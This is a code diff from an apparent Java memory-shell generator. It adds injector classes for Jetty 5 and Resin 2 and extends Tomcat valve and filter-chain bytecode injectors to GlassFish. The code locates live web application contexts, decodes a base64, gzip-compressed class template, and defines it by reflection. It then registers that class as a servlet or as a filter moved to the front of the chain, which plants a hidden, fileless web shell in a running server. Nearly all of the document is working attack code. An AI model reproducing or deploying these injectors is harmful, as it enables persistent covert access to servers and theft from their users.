private boolean containsListener(Object listeners) {
if (listeners == null) {
return false;
}
if (listeners instanceof List) {
List list = (List) listeners;
for (int i = 0; i < list.size(); i++) {
if (isInjectedListener(list.get(i))) {
return true;
}
}
return false;
}
if (listeners.getClass().isArray()) {
int length = Array.getLength(listeners);
for (int i = 0; i < length; i++) {
if (isInjectedListener(Array.get(listeners, i))) {
return true;
}
}
return false;
}
return isInjectedListener(listeners);
}
private boolean isInjectedListener(Object listener) {
return listener != null && listener.getClass().getName().contains(getClassName());
}
private void ensureJsr154Filter(Object webApplicationHandler) {
try {
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
if (filterHolder == null) {
filterHolder = invokeMethod(webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
}
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
try {
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
} catch (Throwable ignored) {
}
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
invokeMethod(webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
}
movePathFilterToFront(webApplicationHandler, "jsr154");
clearChainCache(webApplicationHandler);
} catch (Throwable ignored) {
}
}
private void syncJsr154Filter(Object webApplicationHandler) {
try {
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
if (jsr154Filter == null) {
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
if (jsr154FilterHolder != null) {
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
}
}
if (jsr154Filter == null) {
return;
}
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
} catch (Throwable ignored) {
}
}
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null) {
return false;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
return true;
}
}
} catch (Throwable ignored) {
}
return false;
}
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null || pathFilters.size() < 2) {
return;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
pathFilters.remove(i);
pathFilters.add(0, filterMapping);
return;
}
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,254 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getWebApplicationHandler(context);
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
invokeMethod(
servletHandler,
"addServlet",
new Class[]{String.class, String.class, String.class},
new Object[]{getClassName(), getUrlPattern(), getClassName()});
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,270 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object filter) throws Exception {
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
for (String key : filters.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
ClassLoader loader = context.getClass().getClassLoader();
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
Object filterConfig = newInstance(
qFilterConfigClass,
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
new Object[]{context, getClassName(), getClassName(), null});
filters.put(getClassName(), filterConfig);
List filterList = (List) getFieldValue(context, "_filterList");
if (filterList != null && !filterList.contains(filterConfig)) {
filterList.add(filterConfig);
}
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
List filterMaps = (List) getFieldValue(context, "_filterMap");
synchronized (filterMaps) {
filterMaps.add(0, filterMap);
}
invokeMethod(context, "clearCache", null, null);
}
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
constructor.setAccessible(true);
return constructor.newInstance(param);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,248 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object servlet) throws Exception {
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
Object servletConfig = invokeMethod(
context,
"addServlet",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
invokeMethod(
context,
"addDispatchMap",
new Class[]{String.class, servletConfigClass},
new Object[]{getUrlPattern(), servletConfig});
invokeMethod(context, "clearCache", null, null);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
if (TARGET_METHOD_NAME.equals(name)
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
boolean returnsInt = descriptor.endsWith(")I");
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
mv, argumentTypes, getClassName(), returnsInt);
}
return mv;
}
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
private final boolean returnsInt;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
this.returnsInt = returnsInt;
}
@Override
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
// GlassFishValve.END_PIPELINE == 2
if (returnsInt) {
mv.visitInsn(Opcodes.ICONST_2);
mv.visitInsn(Opcodes.IRETURN);
} else {
mv.visitInsn(Opcodes.RETURN);
}
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
@@ -199,17 +211,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
findLoadedClass.setAccessible(true);
if (findLoadedClass.invoke(loader, getClassName()) != null) {
return;
}
} catch (Throwable ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
} catch (Throwable ignored) {
}
}
}
@@ -59,14 +59,31 @@ public class TomcatListenerInjector {
for (Thread thread : threads) {
String threadName = thread.getName();
